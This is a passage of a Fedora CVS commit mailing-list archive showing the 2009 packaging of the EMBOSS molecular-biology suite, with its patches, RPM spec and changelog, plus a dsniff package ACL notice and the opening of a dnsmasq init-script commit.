--- NEW FILE README.fixes ---
The files in this directory are bugfix replacements for files in
the EMBOSS-6.1.0 distribution. Just drop the replacement files in
the location shown and redo the 'make install.'

Fix 1. EMBOSS-6.1.0/ajax/ajfeat.c
       EMBOSS-6.1.0/ajax/ajseqread.c
       EMBOSS-6.1.0/ajax/ajseqwrite.c
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/Browser.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/BuildProgramMenu.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/form/BuildJembossForm.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/sequenceChooser/InputSequenceAttributes.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/soap/GetVersion.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/soap/ShowDB.java
       EMBOSS-6.1.0/jemboss/utils/install-jemboss-server.sh
       EMBOSS-6.1.0/jemboss/lib/client.jar

29 Jul 2009: Fix feature specification problems in Jemboss.
             Use version number to point to documentation URLs
             Remove standalone option from server script.
             Correct FASTQ input searching for '@' to start next sequence
             Standardize FASTQ sequence formats with other OpenBio projects
             Correct issues in igstrict, genpept and refseqp formats

Fix 2. EMBOSS-6.1.0/ajax/ajmem.h
       EMBOSS-6.1.0/ajax/ajstr.c
       EMBOSS-6.1.0/ajax/ajstr.h
       EMBOSS-6.1.0/nucleus/embaln.c

24-Aug-2009: Fix string extension so that pointers in lists remain valid.
             This fixes a bug in processing SwissProt complex descriptions.
             Fix definition of AJRESIZE0 macro.
	     Fix processing of first match in a profile alignment (prophet).


--- NEW FILE import.log ---
EMBOSS-6_1_0-5_fc11:F-11:EMBOSS-6.1.0-5.fc11.src.rpm:1255819839


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/EMBOSS/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:39:05 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:50:58 -0000	1.2
@@ -0,0 +1,2 @@
+EMBOSS-6.1.0.tar.gz
+patch-1-2.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/EMBOSS/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:39:05 -0000	1.1
+++ sources	17 Oct 2009 22:50:58 -0000	1.2
@@ -0,0 +1,2 @@
+6c5163c571bc0be94d64420ce0d71824  EMBOSS-6.1.0.tar.gz
+faec6ddd399ef243f4d6ffbcc878b009  patch-1-2.gz



From belegdol at fedoraproject.org  Sat Oct 17 22:52:11 2009
From: belegdol at fedoraproject.org (belegdol)
Date: Sat, 17 Oct 2009 22:52:11 +0000 (UTC)
Subject: rpms/EMBOSS/F-10 EMBOSS-6.1.0-destdir.patch, NONE,
	1.1 EMBOSS-fedora.patch, NONE, 1.1 EMBOSS-system-pcre.patch,
	NONE, 1.1 EMBOSS.spec, NONE, 1.1 README.fixes, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017225211.1C6AC11C00EC@cvs1.fedora.phx.redhat.com>

Author: belegdol

Update of /cvs/pkgs/rpms/EMBOSS/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31308/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	EMBOSS-6.1.0-destdir.patch EMBOSS-fedora.patch 
	EMBOSS-system-pcre.patch EMBOSS.spec README.fixes import.log 
Log Message:
Initial import

EMBOSS-6.1.0-destdir.patch:
 Makefile.am |    2 +-
 Makefile.in |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE EMBOSS-6.1.0-destdir.patch ---
--- jemboss/Makefile.am.destdir	2009-06-15 13:08:19.000000000 +0200
+++ jemboss/Makefile.am	2009-07-29 12:52:37.000000000 +0200
@@ -64,7 +64,7 @@
 	echo "(cd $(prefix)/share/$(PACKAGE)/jemboss; java org/emboss/jemboss/Jemboss &)" >> $(DESTDIR)$(bindir)/runJemboss.csh; \
 	chmod 755 $(DESTDIR)$(bindir)/runJemboss.csh; \
 	(cd $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/resources; sed "s|user.auth=true|user.auth=false|" jemboss.properties | sed "s|jemboss.server=true|jemboss.server=false|" |  sed "s|/packages/emboss/STABLE|$(prefix)|" > jemboss.properties.new; mv -f jemboss.properties.new jemboss.properties; cd -); \
-    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
+    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
     chmod 755 $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh;
     
 pkgdata_DATA = LICENSE readme.html README
--- jemboss/Makefile.in.destdir	2009-07-15 01:16:00.000000000 +0200
+++ jemboss/Makefile.in	2009-07-29 12:52:39.000000000 +0200
@@ -682,7 +682,7 @@
 	echo "(cd $(prefix)/share/$(PACKAGE)/jemboss; java org/emboss/jemboss/Jemboss &)" >> $(DESTDIR)$(bindir)/runJemboss.csh; \
 	chmod 755 $(DESTDIR)$(bindir)/runJemboss.csh; \
 	(cd $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/resources; sed "s|user.auth=true|user.auth=false|" jemboss.properties | sed "s|jemboss.server=true|jemboss.server=false|" |  sed "s|/packages/emboss/STABLE|$(prefix)|" > jemboss.properties.new; mv -f jemboss.properties.new jemboss.properties; cd -); \
-    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
+    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
     chmod 755 $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh;
 
 # tar to pick up the other directories

EMBOSS-fedora.patch:
 jemboss.properties |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE EMBOSS-fedora.patch ---
--- jemboss/resources/jemboss.properties.fedora	2008-05-02 15:27:28.000000000 +0200
+++ jemboss/resources/jemboss.properties	2009-04-16 20:11:28.000000000 +0200
@@ -5,8 +5,8 @@
 service.public=JembossAuthServer
 service.private=JembossAuthServer
 plplot=/packages/emboss/STABLE/share/EMBOSS/
-embossData=/packages/emboss/STABLE/share/EMBOSS/data/
-embossBin=/packages/emboss/STABLE/bin/
+embossData=/usr/share/EMBOSS/data/
+embossBin=/usr/bin/
 embossPath=/usr/bin:/bin:/packages/clustal/:/packages/primer3/bin:/data/jobqueue/bin/:/usr/ucb/
-acdDirToParse=/packages/emboss/STABLE/share/EMBOSS/acd/
+acdDirToParse=/usr/share/EMBOSS/acd/
 embossURL=http://emboss.sourceforge.net/

EMBOSS-system-pcre.patch:
 ajax/Makefile.in |   26 ++++-----------------
 ajax/ajreg.h     |    6 ++--
 configure        |   67 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 75 insertions(+), 24 deletions(-)

--- NEW FILE EMBOSS-system-pcre.patch ---
diff -up EMBOSS-6.1.0/ajax/ajreg.h.pcre EMBOSS-6.1.0/ajax/ajreg.h
--- EMBOSS-6.1.0/ajax/ajreg.h.pcre	2007-02-09 19:30:59.000000000 +0100
+++ EMBOSS-6.1.0/ajax/ajreg.h	2009-09-27 03:17:19.000000000 +0200
@@ -16,8 +16,8 @@ extern "C"
 #define ajreg_h
 
 #include "ajax.h"
-#include "pcre_internal.h"
-#include "pcreposix.h"
+#include <pcre.h>
+#include <pcreposix.h>
 
 #define AJREG_OVECSIZE 30
 
@@ -37,7 +37,7 @@ extern "C"
 ******************************************************************************/
 
 typedef struct AjSRegexp {
-    real_pcre *pcre;
+    struct real_pcre *pcre;
     pcre_extra *extra;
     int *ovector;
     const char* orig;
diff -up EMBOSS-6.1.0/ajax/Makefile.in.pcre EMBOSS-6.1.0/ajax/Makefile.in
--- EMBOSS-6.1.0/ajax/Makefile.in.pcre	2009-07-15 01:15:58.000000000 +0200
+++ EMBOSS-6.1.0/ajax/Makefile.in	2009-09-27 03:17:19.000000000 +0200
@@ -81,7 +81,7 @@ am__libajax_la_SOURCES_DIST = ajacd.c aj
 	ajphylo.c ajrange.c ajreg.c ajreport.c ajseq.c ajseqabi.c \
 	ajseqdb.c ajseqread.c ajseqtype.c ajseqwrite.c ajsort.c \
 	ajstr.c ajsys.c ajtable.c ajtime.c ajtranslate.c ajtree.c \
-	ajutil.c ajvector.c pcre.c pcre_study.c pcreposix.c ajgraph.c \
+	ajutil.c ajvector.c \
 	ajhist.c
 am__objects_1 = ajacd.lo ajalign.lo ajarr.lo ajassert.lo ajbase.lo \
 	ajcall.lo ajcod.lo ajdan.lo ajdmx.lo ajdom.lo ajdomain.lo \
@@ -92,7 +92,7 @@ am__objects_1 = ajacd.lo ajalign.lo ajar
 	ajreport.lo ajseq.lo ajseqabi.lo ajseqdb.lo ajseqread.lo \
 	ajseqtype.lo ajseqwrite.lo ajsort.lo ajstr.lo ajsys.lo \
 	ajtable.lo ajtime.lo ajtranslate.lo ajtree.lo ajutil.lo \
-	ajvector.lo pcre.lo pcre_study.lo pcreposix.lo
+	ajvector.lo
 am__objects_2 = ajgraph.lo ajhist.lo
 @ISCYGWIN_FALSE at am_libajax_la_OBJECTS = $(am__objects_1)
 @ISCYGWIN_TRUE at am_libajax_la_OBJECTS = $(am__objects_1) \
@@ -159,7 +159,6 @@ EXEEXT = @EXEEXT@
 FGREP = @FGREP@
 GREP = @GREP@
 HAVE_MEMMOVE = @HAVE_MEMMOVE@
-HAVE_STRERROR = @HAVE_STRERROR@
 INSTALL = @INSTALL@
 INSTALL_DATA = @INSTALL_DATA@
 INSTALL_PROGRAM = @INSTALL_PROGRAM@
@@ -172,7 +171,7 @@ LD = @LD@
 LDFLAGS = @LDFLAGS@
 LIBOBJS = @LIBOBJS@
 #LDFLAGS = -no-undefined
-LIBS = 
+LIBS = @LIBS@
 LIBTOOL = @LIBTOOL@
 LIPO = @LIPO@
 LN_S = @LN_S@
@@ -193,13 +192,6 @@ PACKAGE_STRING = @PACKAGE_STRING@
 PACKAGE_TARNAME = @PACKAGE_TARNAME@
 PACKAGE_VERSION = @PACKAGE_VERSION@
 PATH_SEPARATOR = @PATH_SEPARATOR@
-PCRE_DATE = @PCRE_DATE@
-PCRE_LIB_VERSION = @PCRE_LIB_VERSION@
-PCRE_MAJOR = @PCRE_MAJOR@
-PCRE_MINOR = @PCRE_MINOR@
-PCRE_POSIXLIB_VERSION = @PCRE_POSIXLIB_VERSION@
-PCRE_VERSION = @PCRE_VERSION@
-POSIX_MALLOC_THRESHOLD = @POSIX_MALLOC_THRESHOLD@
 RANLIB = @RANLIB@
 SED = @SED@
 SET_MAKE = @SET_MAKE@
@@ -272,8 +264,6 @@ top_srcdir = @top_srcdir@
 @ISAIXIA64_TRUE@@ISSHARED_TRUE@@NEEDAJAX_FALSE at AM_CFLAGS = -Wl,-G -L../plplot/.libs -L.libs -leplplot -lm
 @ISAIXIA64_TRUE@@ISSHARED_TRUE@@NEEDAJAX_TRUE at AM_CFLAGS = -Wl,-G -L../plplot/.libs -L.libs -lajax -leplplot -lm
 @ISCYGWIN_TRUE at AM_LDFLAGS = -no-undefined -Wl,--add-stdcall-alias -Wl,--export-all-symbols -Wl,--enable-auto-import -L../plplot -leplplot
-PCRELIBVERSION = @PCRE_LIB_VERSION@
-PCREPOSIXLIBVERSION = @PCRE_POSIXLIB_VERSION@
 INCLUDES = -DAJAX_FIXED_ROOT=$(AJAX_FIXED_ROOT) -DPREFIX=\"$(prefix)\" -I$(top_srcdir)/plplot $(POSIX_MALLOC_THRESHOLD) 
 AJAXSRC = ajacd.c ajalign.c ajarr.c ajassert.c \
 ajbase.c ajcall.c ajcod.c \
@@ -288,8 +278,7 @@ ajrange.c ajreg.c ajreport.c \
 ajseq.c ajseqabi.c ajseqdb.c ajseqread.c ajseqtype.c ajseqwrite.c \
 ajsort.c ajstr.c ajsys.c \
 ajtable.c ajtime.c ajtranslate.c ajtree.c \
-ajutil.c ajvector.c \
-pcre.c pcre_study.c pcreposix.c
+ajutil.c ajvector.c
 
 AJAXGSRC = ajgraph.c ajhist.c
 include_HEADERS = ajax.h ajarch.h ajdefine.h \
@@ -303,9 +292,7 @@ ajpat.h ajpdb.h ajpdbio.h ajphylo.h \
 ajrange.h ajreg.h ajreport.h \
 ajseq.h ajseqabi.h ajseqdata.h ajseqdb.h ajseqread.h ajseqtype.h ajseqwrite.h \
 ajsort.h ajstr.h ajsys.h \
-ajtable.h ajtime.h ajtranslate.h ajtree.h ajutil.h ajvector.h \
-pcre.h pcre_chartables.c pcre_config.h pcre_get.c pcre_printint.c \
-pcre_internal.h pcreposix.h
+ajtable.h ajtime.h ajtranslate.h ajtree.h ajutil.h ajvector.h
 
 @ISCYGWIN_FALSE at libajax_la_SOURCES = $(AJAXSRC)
 @ISCYGWIN_TRUE at libajax_la_SOURCES = $(AJAXSRC) $(AJAXGSRC)
@@ -440,9 +427,6 @@ distclean-compile:
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajtree.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajutil.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajvector.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcre.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcre_study.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcreposix.Plo at am__quote@
 
 .c.o:
 @am__fastdepCC_TRUE@	$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $<
diff -up EMBOSS-6.1.0/configure.pcre EMBOSS-6.1.0/configure
--- EMBOSS-6.1.0/configure.pcre	2009-07-15 01:15:56.000000000 +0200
+++ EMBOSS-6.1.0/configure	2009-09-27 03:21:32.000000000 +0200
@@ -16724,6 +16724,73 @@ _ACEOF
 
 fi
 
+{ echo "$as_me:$LINENO: checking for pcre_compile in -lpcre" >&5
+echo $ECHO_N "checking for pcre_compile in -lpcre... $ECHO_C" >&6; }
+if test "${ac_cv_lib_pcre_pcre_compile+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lpcre  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any GCC internal prototype to avoid an error.
+   Use char because int might match the return type of a GCC
+   builtin and then its argument prototype would still apply.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+char pcre_compile ();
+int
+main ()
+{
+return pcre_compile ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (ac_try="$ac_link"
+case "(($ac_try" in
+  *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
+  *) ac_try_echo=$ac_try;;
+esac
+eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5
+  (eval "$ac_link") 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && {
+         test -z "$ac_c_werror_flag" ||
+         test ! -s conftest.err
+       } && test -s conftest$ac_exeext &&
+       $as_test_x conftest$ac_exeext; then
+  ac_cv_lib_pcre_pcre_compile=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+        ac_cv_lib_pcre_pcre_compile=no
+fi
+
+rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+{ echo "$as_me:$LINENO: result: $ac_cv_lib_pcre_pcre_compile" >&5
+echo "${ECHO_T}$ac_cv_lib_pcre_pcre_compile" >&6; }
+if test "x$ac_cv_lib_pcre_pcre_compile" = x""yes; then
+  LIBS="-lpcre $LIBS"
+else
+  LIBS="$LIBS"
+fi
+
 
 if test "`uname`" = "FreeBSD" && ${with_pngdriver} != "no"; then
 { $as_echo "$as_me:$LINENO: checking for main in -liconv" >&5


--- NEW FILE EMBOSS.spec ---
# TODO:
# fix jemboss and enable it

%define emhome %{_datadir}/EMBOSS

Name:           EMBOSS
Version:        6.1.0
Release:        5%{?dist}
Summary:        The European Molecular Biology Open Software Suite

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://emboss.sf.net/
Source0:        ftp://emboss.open-bio.org/pub/EMBOSS/%{name}-%{version}.tar.gz
Source1:        README.fixes
#Upstream patch
Patch0:         ftp://emboss.open-bio.org/pub/EMBOSS/fixes/patches/patch-1-2.gz
#Use system-wide pcre. Sent upstream.
Patch1:         %{name}-system-pcre.patch
#Fedora-specific. Not sent upstream.
Patch2:         %{name}-fedora.patch
#Add missing destdir. Sent upstream.
Patch3:         %{name}-6.1.0-destdir.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gd-devel
#BuildRequires:  java-devel
BuildRequires:  pam-devel
BuildRequires:  pcre-devel
#BuildRequires:  axis classpathx-jaf jakarta-commons-discovery
#BuildRequires:  jakarta-commons-logging log4j wsdl4j

%description
EMBOSS is a new, free Open Source software analysis package specially
developed for the needs of the molecular biology (e.g. EMBnet) user community.
The software automatically copes with data in a variety of formats and even
allows transparent retrieval of sequence data from the web. Also, as extensive
libraries are provided with the package, it is a platform to allow other
scientists to develop and release software in true open source spirit.
EMBOSS also integrates a range of currently available packages and tools for
sequence analysis into a seamless whole.

Reference for EMBOSS: Rice,P. Longden,I. and Bleasby,A.
"EMBOSS: The European Molecular Biology Open Software Suite"
Trends in Genetics June 2000, vol 16, No 6. pp.276-277


%package devel
Summary:        Development tools for programs which will use the %{name} library
Group:          Development/Libraries
Requires:       %{name}-libs = %{version}-%{release}

%description devel
The %{name}-devel package includes the header files and static libraries
necessary for developing programs which will use the %{name} library.


%package libs
Summary:        Shared libraries for %{name}
Group:          System Environment/Libraries

%description libs
The %{name}-libs package includes the dynamic libraries
necessary for %{name}.


#%package java
#Summary:        Java interface to %{name}
#Group:          Applications/Engineering
#Requires:       %{name} = %{version}-%{release}
#Requires:       axis classpathx-jaf jakarta-commons-discovery
#Requires:       jakarta-commons-logging log4j wsdl4j

#%description java
#Jemboss is a Java interface to EMBOSS, developed at
#the HGMP-RC and in close collaboration with the EMBOSS
#development team. It is distributed as part of the EMBOSS
#software.

#Documentation on Jemboss can be found at:
#http://www.hgmp.mrc.ac.uk/Software/EMBOSS/Jemboss/


%prep
%setup -q
%patch0 -p1
%patch1 -p1 -b .pcre
%patch2 -p0 -b .fedora
%patch3 -p0 -b .destdir

#install the patch readme
install -pm 644 %{SOURCE1} README.fixes

#these files were executable for some reason
chmod 644 emboss/prettyplot.c emboss/polydot.c emboss/supermatcher.c

#use system java libraries
#pushd jemboss/lib
#rm activation.jar;
#ln -s %{_javadir}/activation.jar activation.jar;
#pushd axis
#for i in axis-ant axis jaxrpc saaj;
#do
#    rm $i.jar;
#    ln -s %{_javadir}/axis/$i.jar $i.jar;
#done
#for i in commons-discovery commons-logging wsdl4j;
#do
#    rm $i.jar;
#    ln -s %{_javadir}/$i.jar $i.jar;
#done
#rm log4j-1.2.8.jar
#ln -s %{_javadir}/log4j.jar log4j-1.2.8.jar
#popd
#popd


%build
%configure \
  --without-java \
  --disable-static \
  --with-x \
  --with-auth \
  --with-thread \
  --includedir=%{_includedir}/EMBOSS \
%ifarch ppc64 sparc64 x86_64
  --enable-64 \
%endif

%{__make} %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT

%{__make} install DESTDIR=$RPM_BUILD_ROOT

install -m 755 -d $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d
cat << __EOF__ >> $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d/emboss.sh
export PLPLOT_LIB=%{emhome}
export EMBOSS_ACDROOT=%{emhome}/acd
export EMBOSS_DOCROOT=%{emhome}/doc
export EMBOSS_DATABASE_DIR=%{emhome}/data
export EMBOSS_DATA=%{emhome}/data
__EOF__

cat << __EOF__ >> $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d/emboss.csh
setenv PLPLOT_LIB %{emhome}
setenv EMBOSS_ACDROOT %{emhome}/acd
setenv EMBOSS_DOCROOT %{emhome}/doc
setenv EMBOSS_DATABASE_DIR %{emhome}/data
setenv EMBOSS_DATA %{emhome}/data
__EOF__

rm $RPM_BUILD_ROOT%{_libdir}/*.la

#this file has zero length, so kill it
rm $RPM_BUILD_ROOT%{_datadir}/EMBOSS/test/data/dna.aln

#fix executable permissions
pushd $RPM_BUILD_ROOT%{_datadir}/EMBOSS/jemboss/utils
chmod +x install-jemboss-server.sh keys.sh makeFileManagerJNLP.sh makeJar.csh \
     makeJNLP.sh
popd
pushd $RPM_BUILD_ROOT%{_datadir}/EMBOSS/jemboss/api
chmod +x getClasses.pl makeDocs.csh
popd

#rename conflicting binaries
mv $RPM_BUILD_ROOT%{_bindir}/chaos $RPM_BUILD_ROOT%{_bindir}/em_chaos


%clean
rm -rf $RPM_BUILD_ROOT


%post libs -p /sbin/ldconfig


%postun libs -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING FAQ INSTALL LICENSE NEWS README README.fixes THANKS
%{_bindir}/*
%exclude %{_bindir}/runJemboss.csh
%exclude %{_bindir}/jembossctl
%{_datadir}/EMBOSS
%exclude %{_datadir}/EMBOSS/jemboss
%config %{_sysconfdir}/profile.d/*


%files devel
%defattr(-,root,root,-)
%{_libdir}/*.so
%{_includedir}/EMBOSS

%files libs
%defattr(-,root,root,-)
%{_libdir}/*.so.*


#%files java
#%defattr(-,root,root,-)
#%doc jemboss/README jemboss/resources jemboss/api
#%{_bindir}/runJemboss.csh
#%{_bindir}/jembossctl
#%{_datadir}/EMBOSS/jemboss


%changelog
* Sat Oct 17 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-5
- Added comments explaining the purpose of each patch

* Mon Oct 05 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-4
- Renamed conflicting binaries
- Disabled jemboss

* Tue Sep 29 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-3
- Re-enabled system pcre usage
- Initial attempt at using system-wide .jar files

* Tue Sep 22 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-2
- Added the upstream 1-2 patch

* Wed Jul 29 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-1
- Updated to 6.1.0
- Dropped pcre-devel from BuildRequires for the time being
- Ditto --with-java and --with-javaos
- Patched jemboss/Makefile.am not to include DESTDIR in runJemboss.sh
- Install the header files in EMBOSS subdir
- Added the missing executable bits

* Fri Jun 12 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.0.1-3
- Updated the upstream patch to 1-12
- Added the patch readme to %%doc

* Thu Apr 16 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.0.1-2
- Own %%{_datadir}/EMBOSS
- Don't use %%{name} macro in %%files
- Updated the upstream patch to 1-7
- Use dist instead of dist_tag
- Adjusted whitespaces
- Added pcre-devel to BuildRequires
- Fixed spurious executable permissions
- Removed the empty dna.aln file
- Patched jemboss.properties to include the paths this package uses
- Made the -java package require the main one

* Mon Sep 29 2008 Dominik Mierzejewski <rpm at greysector.net> 6.0.1-1
- updated to 6.0.1
- applied upstream patch 1-1
- patched to use system pcre

* Tue Jan 08 2008 Dominik Mierzejewski <rpm at greysector.net> 5.0.0-1
- Cleaned up BioRPMs' spec
- Updated to 5.0.0

* Thu Mar 17 2005 Bent Terp <Bent.Terp at biosci.ki.se>
- Upped to 2.10.0

* Fri Jul 16 2004 Bent Terp <Bent.Terp at biosci.ki.se>
- Had forgotten the emboss_database_dir env var

* Wed Feb 18 2004 Bent Terp <Bent.Terp at biosci.ki.se>
- Tried to make the building more dynamic. Added Requires and BuildRequires

* Thu Dec 04 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.8.0
- subpackage jemboss

* Wed Jun 11 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.7.1

* Tue Jan 28 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.6.0
- Programs moved to /usr/local/bin
- Adopted many ideas from Guillaume Rousse <g.rousse at linux-mandrake.com>

* Wed Nov 27 2002 Luc Ducazu <luc at biolinux.org>
- Initial build for EMBOSS 2.5.1


--- NEW FILE README.fixes ---
The files in this directory are bugfix replacements for files in
the EMBOSS-6.1.0 distribution. Just drop the replacement files in
the location shown and redo the 'make install.'

Fix 1. EMBOSS-6.1.0/ajax/ajfeat.c
       EMBOSS-6.1.0/ajax/ajseqread.c
       EMBOSS-6.1.0/ajax/ajseqwrite.c
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/Browser.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/BuildProgramMenu.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/form/BuildJembossForm.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/sequenceChooser/InputSequenceAttributes.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/soap/GetVersion.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/soap/ShowDB.java
       EMBOSS-6.1.0/jemboss/utils/install-jemboss-server.sh
       EMBOSS-6.1.0/jemboss/lib/client.jar

29 Jul 2009: Fix feature specification problems in Jemboss.
             Use version number to point to documentation URLs
             Remove standalone option from server script.
             Correct FASTQ input searching for '@' to start next sequence
             Standardize FASTQ sequence formats with other OpenBio projects
             Correct issues in igstrict, genpept and refseqp formats

Fix 2. EMBOSS-6.1.0/ajax/ajmem.h
       EMBOSS-6.1.0/ajax/ajstr.c
       EMBOSS-6.1.0/ajax/ajstr.h
       EMBOSS-6.1.0/nucleus/embaln.c

24-Aug-2009: Fix string extension so that pointers in lists remain valid.
             This fixes a bug in processing SwissProt complex descriptions.
             Fix definition of AJRESIZE0 macro.
	     Fix processing of first match in a profile alignment (prophet).


--- NEW FILE import.log ---
EMBOSS-6_1_0-5_fc11:F-10:EMBOSS-6.1.0-5.fc11.src.rpm:1255819911


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/EMBOSS/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:39:05 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:52:10 -0000	1.2
@@ -0,0 +1,2 @@
+EMBOSS-6.1.0.tar.gz
+patch-1-2.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/EMBOSS/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:39:05 -0000	1.1
+++ sources	17 Oct 2009 22:52:11 -0000	1.2
@@ -0,0 +1,2 @@
+6c5163c571bc0be94d64420ce0d71824  EMBOSS-6.1.0.tar.gz
+faec6ddd399ef243f4d6ffbcc878b009  patch-1-2.gz



From pkgdb at fedoraproject.org  Sat Oct 17 23:06:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 23:06:19 +0000
Subject: [pkgdb] dsniff had acl change status
Message-ID: <20091017230619.C224310F85F@bastion2.fedora.phx.redhat.com>

robert has set the watchcommits acl on dsniff (Fedora 12) to Approved for dramsey

To make changes to this package see:
  /pkgdb/packages/name/dsniff



From itamarjp at fedoraproject.org  Sat Oct 17 23:08:16 2009
From: itamarjp at fedoraproject.org (Itamar Reis Peixoto)
Date: Sat, 17 Oct 2009 23:08:16 +0000 (UTC)
Subject: rpms/dnsmasq/devel dnsmasq.init, NONE, 1.1 dnsmasq.spec, 1.42,
	1.43 dnsmasq-2.33-initscript.patch, 1.2,
	NONE dnsmasq-configuration.patch, 1.5, NONE
Message-ID: <20091017230816.E072711C00EC@cvs1.fedora.phx.redhat.com>

Author: itamarjp

Update of /cvs/pkgs/rpms/dnsmasq/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6427

Modified Files:
	dnsmasq.spec 
Added Files:
	dnsmasq.init 
Removed Files:
	dnsmasq-2.33-initscript.patch dnsmasq-configuration.patch 
Log Message:
some improvement in dnsmasq initscript



--- NEW FILE dnsmasq.init ---
#!/bin/sh
#
# Startup script for the DNS caching server
#
# chkconfig: - 49 50
# description: This script starts your DNS caching server
# processname: dnsmasq
# pidfile: /var/run/dnsmasq.pid

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0

